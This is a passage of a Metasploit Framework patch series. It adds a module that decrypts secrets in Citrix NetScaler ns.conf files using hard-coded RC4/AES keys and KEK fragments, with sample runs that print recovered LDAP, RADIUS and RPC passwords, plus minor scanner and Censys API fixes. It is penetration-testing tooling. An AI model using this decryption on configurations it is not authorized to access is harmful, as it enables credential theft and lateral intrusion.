From 71acc02c9649e88083343f493578cad1992e7714 Mon Sep 17 00:00:00 2001 From: Alexandre Bezroutchko Date: Mon, 16 May 2022 20:08:41 +0000 Subject: [PATCH 01/79] fix race condition when scanning short ranges --- modules/auxiliary/scanner/discovery/ipv6_neighbor.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb index 78f24915240e..9d0e055a06e9 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb @@ -74,7 +74,7 @@ def run_batch(hosts) end end - etime = ::Time.now.to_f + (hosts.length * 0.05) + etime = ::Time.now.to_f + 1 while (::Time.now.to_f < etime) while(reply = getreply()) From b66fb886dca3128d33f4f1c23047c328d2c337b4 Mon Sep 17 00:00:00 2001 From: NikitaKovaljov <78376672+NikitaKovaljov@users.noreply.github.com> Date: Wed, 25 May 2022 20:21:50 +0300 Subject: [PATCH 02/79] Update modules/auxiliary/scanner/discovery/ipv6_neighbor.rb Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com> --- modules/auxiliary/scanner/discovery/ipv6_neighbor.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb index 9d0e055a06e9..c72898800502 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb @@ -74,7 +74,7 @@ def run_batch(hosts) end end - etime = ::Time.now.to_f + 1 + etime = ::Time.now.to_f + [1, hosts.length * 0.05].max while (::Time.now.to_f < etime) while(reply = getreply()) From 37234985e69516911cfd06bf1d2d662a51bc5524 Mon Sep 17 00:00:00 2001 From: npm-cesium137-io Date: Wed, 15 Jun 2022 11:03:28 -0400 Subject: [PATCH 03/79] citrix_netscaler_config_decrypt Aux Module Added an aux module that can perform offline decryption of NetScaler config files. The module is able to decrypt secrets using well-known static keys as well as the new Key Encryption Key (KEK) scheme. This is the initial commit, and some functionality is lacking: there is currently no loot storage of secrets, and the module cannot decrypt -passcrypt entries from legacy configuration files. --- .../citrix/citrix_netscaler_config_decrypt.md | 208 ++++++++++++++ .../citrix/citrix_netscaler_config_decrypt.rb | 254 ++++++++++++++++++ 2 files changed, 462 insertions(+) create mode 100644 documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md create mode 100644 modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb diff --git a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md new file mode 100644 index 000000000000..17a721e7bc8b --- /dev/null +++ b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md @@ -0,0 +1,208 @@ +This module takes a Citrix NetScaler ns.conf configuration file as input and extracts secrets that +have been stored with reversible encryption. The module supports legacy NetScaler encryption (RC4) +as well as the newer AES-256-ECB and AES-256-CBC encryption types. It is also possible to decrypt +secrets protected by the Key Encryption Key (KEK) method, provided the key fragment files F1.key +and F2.key are provided. Root access to a NetScaler device or access to a NetScaler configuration +backup archive are the most effective means of acquiring the configuration file and key fragments. + +This module incorporates research published by dozer: + +https://dozer.nz/posts/citrix-decrypt/ + +## Vulnerable Application +This module is tested against the configuration files for NetScaler versions 10.5, 11, 12.x and +13.x. The module will work with files retrieved from a live NetScaler system as well as files +extracted from an unencrypted NetScaler backup archive. This is possible because NetScaler uses +well-known hard coded encryption keys which are visible on the system in the hidden file: + +`/nsconfig/.skf` + +These static keys are: + +`NetScaler RC4:` + `2286da6ca015bcd9b7259753c2a5fbc2` +`NetScaler AES:` + `351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9` + +The module is also able to decrypt secrets encrypted with NetScaler KEK, provided the associated +`F1.key` and `F2.key` fragments are provided. + +## Verification Steps +You must possess a NetScaler `ns.conf` file in order to use this module. If the NetScaler is running +NS13.0 Build76.xx.nc or higher, or the administrator has configured KEK encryption, you must also +possess the associated KEK key fragments in order to decrypt the file. All files must be local to +the system invoking the module. Where possible, you should provide the `NS_IP` option to tag +relevant loot entries with the IPv4 address of the originating system. If no value is provided for +`NS_IP` the module defaults to assigning the loopback IP `127.0.0.1`. + +1. Acquire the `ns.conf` file, and associated `F1.key` and `F2.key` files if using NS KEK +2. Start msfconsole +3. Do: `modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb` +4. Do: `set ns_conf ` to provide the location of the NetScaler config file +5. Do: `set ns_kek_f1 ` if you are decrypting a file using NS KEK +6. Do: `set ns_kek_f2 ` if you are decrypting a file using NS KEK +6. Do: `set ns_ip ` to attach the target NetScaler IPv4 address to loot entries +7. Do: `dump` + +## Options +**NS_CONF** + +Path to the NetScaler configuration file on the local system. Example: `/tmp/ns.conf` + +**NS_KEK_F1** + +Path to the first of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F1.key` + +**NS_KEK_F2** + +Path to the second of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F2.key` + +**NS_IP** + +Optional parameter to set the IPv4 address associated with loot entries made by the module. + +## Scenarios + +### Acquire NetScaler Config File +NetScaler configuration files can be retrieved from a live system by running + +`show ns.conf` + +From the nscli or + +`cat /nsconfig/ns.conf` + +From the BSD shell. These files can also be retrieved from NetScaler configuration backup +archives which are generated from the appliance admin interface. + +### Acquire KEK Fragment Files +As of NS13.0 Build76.xx.nc NetScaler requires mandatory use of the Key Encryption Key (KEK) +scheme. If secrets within the config file use KEK, you must also posses the associated KEK F1 +and F2 fragment files in order to perform decryption. Secrets that require KEK fragments to +decrypt will include the `-kek` parameter on the associated configuration line. It is possible +for an admin to manually enable KEK in NS builds prior to Build76.xx.nc - if this has been done, +the current KEK key fragments are located in the following paths: + +`/nsconfig/F1.key` +`/nsconfig/F2.key` + +After NS13.0 Build76.xx.nc, KEK is mandatory and managed by the NetScaler itself. Key fragments +are presumably regenerated during firmware upgrades, and a journal is maintained in `/nsconfig/keys` +suffixed with a date stamp. The `F1.key` and `F2.key` files are ignored, and the new "current" KEK +key is stored in hidden files at paths: + +`/nsconfig/.F1.key` +`/nsconfig/.F2.key` + +As well as under `/nsconfig/keys`. Note that both fragments must be provided for successful +decryption. The module can be run without providing KEK fragments, but will be unable to decrypt +any secrets that use KEK encryption. Like the `ns.conf` file, an unencrypted NetScaler backup +will contain all KEK fragments currently defined on the appliance. + +### Running the Module + +Example run against config file without KEK from NetScaler VPX running NS11.0 Build 62.10.nc: +``` +msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt +msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf +ns_conf => /tmp/ns.conf.NS11.0-62.10.conf +msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump + +[*] Config line: +add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key -passcrypt "VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=" -expiryMonitor DISABLED +[!] Not decrypting passcrypt entry: +[!] Ciphertext: VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0= +[*] Config line: +set ns encryptionParams -method AES256 -keyValue 7654526a2f3ceffd877b286a8acece43da700d06133dc985f7ebdeb076135bcb755472e04f5d92aba9f07334eb8e936a58782ce76bb3f6d6e44adf727e8e88d602b8bdae1817d26203fe281a8429574d -encrypted -encryptmethod ENCMTHD_3 +[+] Plaintext: AAAAAAXyju437Ecnb/iQpa55uUvOskx7S5hCq5dB4kMq+Lcx6g== +[*] Config line: +add authentication radiusAction UTIL1 -serverIP 10.100.10.13 -serverPort 1812 -radKey f8e4f532e9d4e6bebab169b3be9e77b5c851466b7760c469bd64a15d2e8d3c602025c41372094d06e207789d58b6acb7 -encrypted -encryptmethod ENCMTHD_3 +[+] Plaintext: hbZaADYDUmdHv7AhHsAb6eCde2M82m0 +[*] Config line: +add authentication ldapAction LDAP -serverName ldap.cesium137.io -serverPort 636 -ldapBase "DC=chainheart,DC=com" -ldapBindDn wiz@cesium137.io -ldapBindDnPassword f5dc75680b925dbd3c0a8154c8fee056bfe77ac774797de3c0867d368bd09c2cdd872a36e15a1f07abf773740e2c8a12 -encrypted -encryptmethod ENCMTHD_3 -ldapLoginName sAMAccountName -groupAttrName memberOf -secType SSL -ldapHostname ldap.cesium137.io +[+] User: wiz@cesium137.io +[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm +[*] Config line: +set ns rpcNode 10.100.10.11 -password 9ec84444b10941dc4222f93b29a75f0aa237ffdcc73a81355bf5d1cf3d80058daaad7ca58e488e54bc3ff3eea8ffd9eb -encrypted -encryptmethod ENCMTHD_3 -srcIP 10.100.10.11 +[+] Plaintext: 447a325517739063bbaa414ecf1d9c3 +[*] Config line: +set ns rpcNode 10.100.10.12 -password dd5c0c4952509e2fcfaeb238dfc361b79a844df09254087920ee0cf4dc447161bde8491d8a39ded0fa2526cc46e6a00f -encrypted -encryptmethod ENCMTHD_3 -srcIP 10.100.10.11 +[+] Plaintext: 447a325517739063bbaa414ecf1d9c3 +[*] Config line: +add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password e209865546c3d2e8462e3e7a962252eb6d9e26374163c8d902fc3535cb12638c514765dcea4792eb1e3e6b5e1c1c4cef -encrypted -encryptmethod ENCMTHD_3 -LRTM DISABLED -secure YES -baseDN "DC=chainheart,DC=com" -bindDN wiz@cesium137.io -filter CN=builtin +[+] User: wiz@cesium137.io +[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm +[*] Config line: +add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 4ae7bec92e25d985df315e543b846b2c30346840d8e945f5073832c3e479d60eee581f67d671759ae555210529eaec8d -encrypted -encryptmethod ENCMTHD_3 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=chainheart,DC=com" -bindDN wiz@cesium137.io -filter CN=builtin +[+] User: wiz@cesium137.io +[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm +[*] Auxiliary module execution completed +msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > +``` + +Example run against config file using KEK from NetScaler VPX running NS13.0 Build 85.15.nc: + +``` +msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt +msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf +ns_conf => /tmp/ns.conf +msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key +ns_kek_f1 => /tmp/F1.key +msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key +ns_kek_f2 => /tmp/F2.key +msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump + +[*] Building NetScaler KEK from key fragments ... +[+] NS KEK F1 +[+] HEX: dd2588bb3cb20dd643216c33489776c78e8c56f13b1301e0984dc80564eea49e +[+] NS KEK F2 +[+] HEX: 45f9e6780a1dc40b6fe75bedf2f6dbb9a86e4315d07313014fe2381c52e44d8f +[+] Assembled NS KEK AES key +[+] HEX: 54f202b9a94649fd9eaa3f13eab514a5a267f460db0a2393f8b25f321a7d79e0 + +[*] Config line: +add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key 30f39257d8aacc737182568184e0d535002d90a7aba3454c1e8766a958d3a4a720e485c498adc681f0e7559ff633f932 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED +[+] Plaintext: zgkEUD86rUv76coT0DkIBj1xlp5qEzH +[*] Config line: +add ssl certKey ldap_cesium137_io -cert ldap_cesium137_io.pem -key ldap_cesium137_io.key d7902778370c616480ef781c5b3922ef31bd90e75dd3aecfa0fa8a5bafc4fa16b20ed2f7a07970c3f4d8ba201a3b9b72 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor ENABLED -notificationPeriod 90 +[+] Plaintext: YaqoRLtSnnMPgnWyhAedYv2RO1aVtx8 +[*] Config line: +add ssl certKey mail_cesium137_io -cert mail_cesium137_io-g3.pem -key mail_cesium137_io-g3.key 0e5ca2011772a9943c8f4281668b7236a8dfb97da290487d1953fa5ef768272f33d20122b055878729c75c29efaa3291 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED +[+] Plaintext: TBkrkfnP4QOWIT0FX8QCLl2GkNrnM +[*] Config line: +add ssl certKey auth_cesium137_io -cert auth_cesium137_io-g3.pem -key auth_cesium137_io-g3.key d574cca92065da27309ce87a423ac82e0c1571cd4c6df59a725f7eabee97d40136a250152506cb15962e34c90f1dc25c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED +[+] Plaintext: flEkB3SW4YTTi9HRNnffmvJLSgJhsz5 +[*] Config line: +set ns encryptionParams -method AES256 -keyValue ec5d48485c6871d1d4a2b01f9126946c53aa49eae721c8114ba7a34a1b1f8eabd443a9d641bbf5ef67f2b0237c481673587846db5378f72f9025f0762f8f9cbeebf4a16aaa2782d5c6ecd90c48a1c30d -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 +[+] Plaintext: AAAAAAXyju437Ecnb/iQpa55uUvOskx7S5hCq5dB4kMq+Lcx6g== +[*] Config line: +add authentication radiusAction APP01_DUO -serverIP 10.100.10.13 -serverPort 11812 -authTimeout 60 -radKey 535587632ffe91f2559fcf5902c7e4bf24961ee2e7f6285c03c87c2e65165fbc -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON +[+] Plaintext: IAmSam! +[*] Config line: +add authentication radiusAction APP01_DUO_CITRIXRECEIVER -serverIP 10.100.10.13 -serverPort 21812 -authTimeout 60 -radKey 6644f481004ac7dee5a05b5a8dc3d9d9ae8c76f5fe82e0430b43acd7fb5afe9c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON +[+] Plaintext: IAmSam! +[*] Config line: +add authentication ldapAction AD_DUA2FAUSERS -serverName ldap.cesium137.io -serverPort 636 -authTimeout 60 -ldapBase "DC=cesium137,DC=io" -ldapBindDn wiz@cesium137.io -ldapBindDnPassword 7fbbf2ef9665641264406c17673c0cdb5774b76454f3ac8c7bb067dd0d2228c5 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -ldapLoginName sAMAccountName -searchFilter "&(objectCategory=user)(memberOf=CN=2FA-OWA,CN=Users,DC=cesium137,DC=io)" -groupAttrName memberOf -subAttributeName cn -secType SSL -passwdChange ENABLED -nestedGroupExtraction ON -groupNameIdentifier sAMAccountName -groupSearchAttribute memberOf -groupSearchSubAttribute CN +[+] User: wiz@cesium137.io +[+] Pass: Gr33n3gg$ +[*] Config line: +set ns rpcNode 192.168.10.14 -password 2634fa338c457cb32fdf245873874a9b8fcd7128f6534641f49ea650e9f0974b -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14 +[+] Plaintext: SamIAm! +[*] Config line: +set ns rpcNode 192.168.10.15 -password 6955e686fc5dd3beee5013dad0e0fa6510a56029b52cc7d7ed15082a60ec6ce4 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14 +[+] Plaintext: SamIAm! +[*] Config line: +add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password cc1f6bb054f5d63d5eb871fdd36ff573f3343c1e0238965682460c6f084d1e14-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -secure YES -baseDN "DC=cesium137,DC=io" -bindDN wiz@cesium137.io -filter CN=builtin -devno 13862 +[+] User: wiz@cesium137.io +[+] Pass: Gr33n3gg$ +[*] Config line: +add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 5c35e0aa5c3d999e9ff10de1fa32910f9ac28b1ee8824c2301ac964e1f5f987e-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=cesium137,DC=io" -bindDN wiz@cesium137.io -filter CN=builtin -devno 13863 +[+] User: wiz@cesium137.io +[+] Pass: Gr33n3gg$ +[*] Config line: +add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c5990558d4bfae059f27191f4c91a2dfa826d7318db287e109f5da39f9 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -resptimeout 4 -destPort 1812 -devno 13864 +[+] User: ldap +[+] Pass: Gr33n3gg$ +[*] Auxiliary module execution completed +msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > +``` \ No newline at end of file diff --git a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb new file mode 100644 index 000000000000..74bdde71e1c8 --- /dev/null +++ b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb @@ -0,0 +1,254 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasploit/framework/credential_collection' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Decrypt Citrix NetScaler Config Secrets', + 'Description' => %q{ + This module takes a Citrix NetScaler ns.conf configuration file as + input and extracts secrets that have been stored with reversible + encryption. The module supports legacy NetScaler encryption (RC4) + as well as the newer AES-256-ECB and AES-256-CBC encryption types. + It is also possible to decrypt secrets protected by the Key + Encryption Key (KEK) method, provided the key fragment files F1.key + and F2.key are provided. + }, + 'Author' => 'npm[at]cesium137.io', + 'Platform' => [ 'bsd' ], + 'DisclosureDate' => '2022-05-19', + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://dozer.nz/posts/citrix-decrypt/'], + ['URL', 'https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/'] + ], + 'Actions' => [ + [ + 'Dump', + { + 'Description' => 'Dump secrets from NetScaler configuration' + } + ] + ], + 'DefaultAction' => 'Dump', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK ] + } + ) + ) + + register_options([ + OptPath.new('NS_CONF', [ true, 'Path to a NetScaler configuration file (ns.conf)' ]), + OptPath.new('NS_KEK_F1', [ false, 'Path to NetScaler KEK fragment file F1.key' ]), + OptPath.new('NS_KEK_F2', [ false, 'Path to NetScaler KEK fragment file F2.key' ]), + OptString.new('NS_IP', [ false, '(Optional) IPv4 address to attach to loot' ]) + ]) + end + + def loot_host + datastore['NS_IP'] || '127.0.0.1' + end + + def ns_conf + datastore['NS_CONF'] + end + + def ns_kek_f1 + datastore['NS_KEK_F1'] + end + + def ns_kek_f2 + datastore['NS_KEK_F2'] + end + + def ns_secret + { + 'key' => ['add ssl certKey'], + 'keyValue' => ['set ns encryptionParams'], + 'radKey' => ['add authentication radiusAction'], + 'ldapBindDnPassword' => ['add authentication ldapAction'], + 'password' => ['set ns rpcNode', 'add lb monitor', 'add aaa user'], + 'passPhrase' => ['add authentication dfaAction'] + } + end + + # Statically defined in libnscli90.so, modern appliances keep these in /nsconfig/.skf + def ns90_rc4key + '2286da6ca015bcd9b7259753c2a5fbc2'.scan(/../).map(&:hex).pack('C*') + end + + def ns90_aeskey + '351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9'.scan(/../).map(&:hex).pack('C*') + end + + def run + if ns_kek_f1 && ns_kek_f2 + print_status('Building NetScaler KEK from key fragments ...') + unless build_ns_kek + fail_with(Msf::Exploit::Failure::NoTarget, 'Unable to build NetScaler KEK from key fragments') + end + end + parse_ns_config + end + + def build_ns_kek + unless File.size(ns_kek_f1) == 256 && File.size(ns_kek_f2) == 256 + print_error('KEK files must be 256 bytes in size') + return false + end + f1_hex = File.read(ns_kek_f1) + f2_hex = File.read(ns_kek_f2) + f1_hex&.encode('UTF-8', 'binary') + f2_hex&.encode('UTF-8', 'binary') + unless f1_hex.match?(/^[0-9a-f]+$/i) && f2_hex.match?(/^[0-9a-f]+$/i) + print_error('NS KEK files must be hexadecimal format') + return false + end + f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*') + f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*') + f1_key_hex = f1_key.unpack('H*').first + f2_key_hex = f2_key.unpack('H*').first + print_good('NS KEK F1') + print_good("\t HEX: #{f1_key_hex}") + print_good('NS KEK F2') + print_good("\t HEX: #{f2_key_hex}") + @ns_kek_key = OpenSSL::HMAC.hexdigest('SHA256', f2_key, f1_key).scan(/../).map(&:hex).pack('C*') + @ns_kek_key_hex = @ns_kek_key.unpack('H*').first + print_good('Assembled NS KEK AES key') + print_good("\t HEX: #{@ns_kek_key_hex}\n") + true + rescue Encoding::UndefinedConversionError + print_error('Invalid NS KEK files provided: invalid UTF-8 data') + return false + rescue StandardError => e + print_error("#{__method__}: #{e.message}") + return false + end + + def parse_ns_config + ns_config_data = File.binread(ns_conf) + ns_secret.each do |secret| + element = secret[0] + secret[1].each do |keyword| + lines = ns_config_data.to_enum(:scan, /^#{keyword}.*/).map { Regexp.last_match } + lines.each do |line| + is_kek = false + config_entry = line.to_s + ciphertext = config_entry.to_enum(:scan, /#?([\da-f]{2})([\da-f]{2})([\da-f]{2})(\w+)/).map { Regexp.last_match } + unless ciphertext.first + ciphertext = config_entry.to_enum(:scan, /(-passcrypt.*(\s*))/).map { Regexp.last_match } + next unless ciphertext.first + end + enc_type = config_entry.match(/encryptmethod (\w+)/).to_s.split(' ')[1].to_s + if config_entry.match?(/-kek/) + is_kek = true + end + print_status("Config line:\n#{config_entry}") + if is_kek && !@ns_kek_key + print_warning('Entry was encrypted with KEK but no KEK fragement files provided, decryption will not be possible') + next + end + username = parse_username_from_config(config_entry) + ciphertext.each do |encrypted| + encrypted_entry = encrypted.to_s + if encrypted_entry =~ /^[0-9a-f]+$/i + ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*') + else + ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"') + ciphertext_bytes = Base64.strict_decode64(ciphertext_b64) + print_warning('Not decrypting passcrypt entry:') + print_warning("Ciphertext: #{ciphertext_b64}") + next + end + case enc_type + when 'ENCMTHD_2' # aes-256-ecb + if is_kek + aeskey = @ns_kek_key + else + aeskey = ns90_aeskey + end + plaintext = ns_aes_ecb_decrypt(aeskey, ciphertext_bytes) + when 'ENCMTHD_3' # aes-256-cbc + if is_kek + aeskey = @ns_kek_key + else + aeskey = ns90_aeskey + end + plaintext = ns_aes_cbc_decrypt(aeskey, ciphertext_bytes) + else # rc4 (legacy) + plaintext = ns_rc4_decrypt(ns90_rc4key, ciphertext_bytes) + end + next unless plaintext + + if username + print_good("User: #{username}") + print_good("Pass: #{plaintext}") + store_valid_credential(user: username, private: plaintext) + else + print_good("Plaintext: #{plaintext}") + store_valid_credential(user: element, private: plaintext) + end + end + end + end + end + end + + def parse_username_from_config(line) + [' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param| + next unless line.match?(/#{user_param} (.+)/) + + user_name = line.match(/#{user_param} (.+)/).to_s.split(' ')[1].to_s + if user_name.match?('"') + user_name = line.match(/#{user_param} (.+")/).to_s.split('"')[1].to_s + end + return user_name + end + false + end + + def ns_rc4_decrypt(rc4key, ciphertext_bytes) + decipher = OpenSSL::Cipher.new('rc4') + decipher.decrypt + decipher.key = rc4key + decipher.update(ciphertext_bytes) + rescue OpenSSL::Cipher::CipherError + print_error("#{__method__}: bad decrypt") + return false + end + + def ns_aes_ecb_decrypt(aeskey, ciphertext_bytes) + decipher = OpenSSL::Cipher.new('aes-256-ecb') + decipher.decrypt + decipher.padding = 0 + decipher.key = aeskey + (decipher.update(ciphertext_bytes) + decipher.final).delete("\000") + rescue OpenSSL::Cipher::CipherError + print_error("#{__method__}: bad decrypt") + return false + end + + def ns_aes_cbc_decrypt(aeskey, ciphertext_bytes) + decipher = OpenSSL::Cipher.new('aes-256-cbc') + iv = ciphertext_bytes[0, 16] + ciphertext = ciphertext_bytes[16..] + decipher.decrypt + decipher.iv = iv + decipher.padding = 1 + decipher.key = aeskey + (decipher.update(ciphertext) + decipher.final).delete("\000") + rescue OpenSSL::Cipher::CipherError + print_error("#{__method__}: bad decrypt") + return false + end +end From 6ae35e23fefd97cb8bbdc66f3291255e82e69f6c Mon Sep 17 00:00:00 2001 From: yvain Date: Mon, 20 Jun 2022 10:24:58 +0200 Subject: [PATCH 04/79] cencys related modules update --- modules/auxiliary/gather/censys_search.rb | 10 +++++----- modules/auxiliary/gather/cloud_lookup.rb | 6 +++--- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index 1b9c5cea4b1e..2689a5168906 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -46,12 +46,12 @@ def search(keyword, search_type) 'query' => keyword } - @cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true) + @cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true) @cli.connect response = @cli.request_cgi( 'method' => 'post', - 'uri' => "/api/v1/search/#{search_type}", + 'uri' => "/api/v2/hosts/search/#{search_type}", 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, 'data' => payload.to_json ) @@ -94,7 +94,7 @@ def domain2ip(domain) def parse_certificates(records) ips = [] - records.each do |certificate| + records['hits'].each do |certificate| # parsed.fingerprint_sha256 # parsed.subject_dn # parsed.issuer_dn @@ -116,7 +116,7 @@ def parse_certificates(records) end def parse_ipv4(records) - records.each do |ipv4| + records['hits'].each do |ipv4| # ip # protocols ip = ipv4['ip'] @@ -131,7 +131,7 @@ def parse_ipv4(records) end def parse_websites(records) - records.each do |website| + records['hits'].each do |website| # domain # alexa_rank print_good("#{website['domain']} - #{website['alexa_rank']}") diff --git a/modules/auxiliary/gather/cloud_lookup.rb b/modules/auxiliary/gather/cloud_lookup.rb index 62f02efa40ab..bb001ce68a81 100644 --- a/modules/auxiliary/gather/cloud_lookup.rb +++ b/modules/auxiliary/gather/cloud_lookup.rb @@ -169,12 +169,12 @@ def censys_search(keyword, search_type, uid, secret) begin payload = { 'query' => keyword } - cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true, nil, datastore['Proxies']) + cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true, nil, datastore['Proxies']) cli.connect response = cli.request_cgi( 'method' => 'POST', - 'uri' => "/api/v1/search/#{search_type}", + 'uri' => "/api/v2/hosts/search/#{search_type}", 'agent' => datastore['USERAGENT'], 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}" @@ -296,7 +296,7 @@ def http_get_request_raw(host, port, ssl, uri, vhost = nil) # auxiliary/gather/censys_search.rb def parse_ipv4(records) ip_list = [] - records.each do |ipv4| + records['hits'].each do |ipv4| ip_list.push(ipv4['ip']) end ip_list From 938090dacb562c082e831b3293939127038511d3 Mon Sep 17 00:00:00 2001 From: yvain Date: Wed, 22 Jun 2022 23:01:11 +0200 Subject: [PATCH 05/79] cencys --- modules/auxiliary/gather/censys_search.rb | 3 +-- modules/auxiliary/gather/cloud_lookup.rb | 5 ++--- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index 2689a5168906..b14f5e8daf96 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -51,9 +51,8 @@ def search(keyword, search_type) response = @cli.request_cgi( 'method' => 'post', - 'uri' => "/api/v2/hosts/search/#{search_type}", + 'uri' => "/api/v2/hosts/search/#{keyword}", 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, - 'data' => payload.to_json ) res = @cli.send_recv(response) diff --git a/modules/auxiliary/gather/cloud_lookup.rb b/modules/auxiliary/gather/cloud_lookup.rb index bb001ce68a81..9a49933f3f54 100644 --- a/modules/auxiliary/gather/cloud_lookup.rb +++ b/modules/auxiliary/gather/cloud_lookup.rb @@ -174,12 +174,11 @@ def censys_search(keyword, search_type, uid, secret) response = cli.request_cgi( 'method' => 'POST', - 'uri' => "/api/v2/hosts/search/#{search_type}", + 'uri' => "/api/v2/hosts/search/#{keyword}", 'agent' => datastore['USERAGENT'], 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}" - }, - 'data' => payload.to_json + } ) results = cli.send_recv(response) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT From e5f0378146dba8539f780471b5a883c6dff45f50 Mon Sep 17 00:00:00 2001 From: yvain Date: Thu, 23 Jun 2022 17:20:09 +0200 Subject: 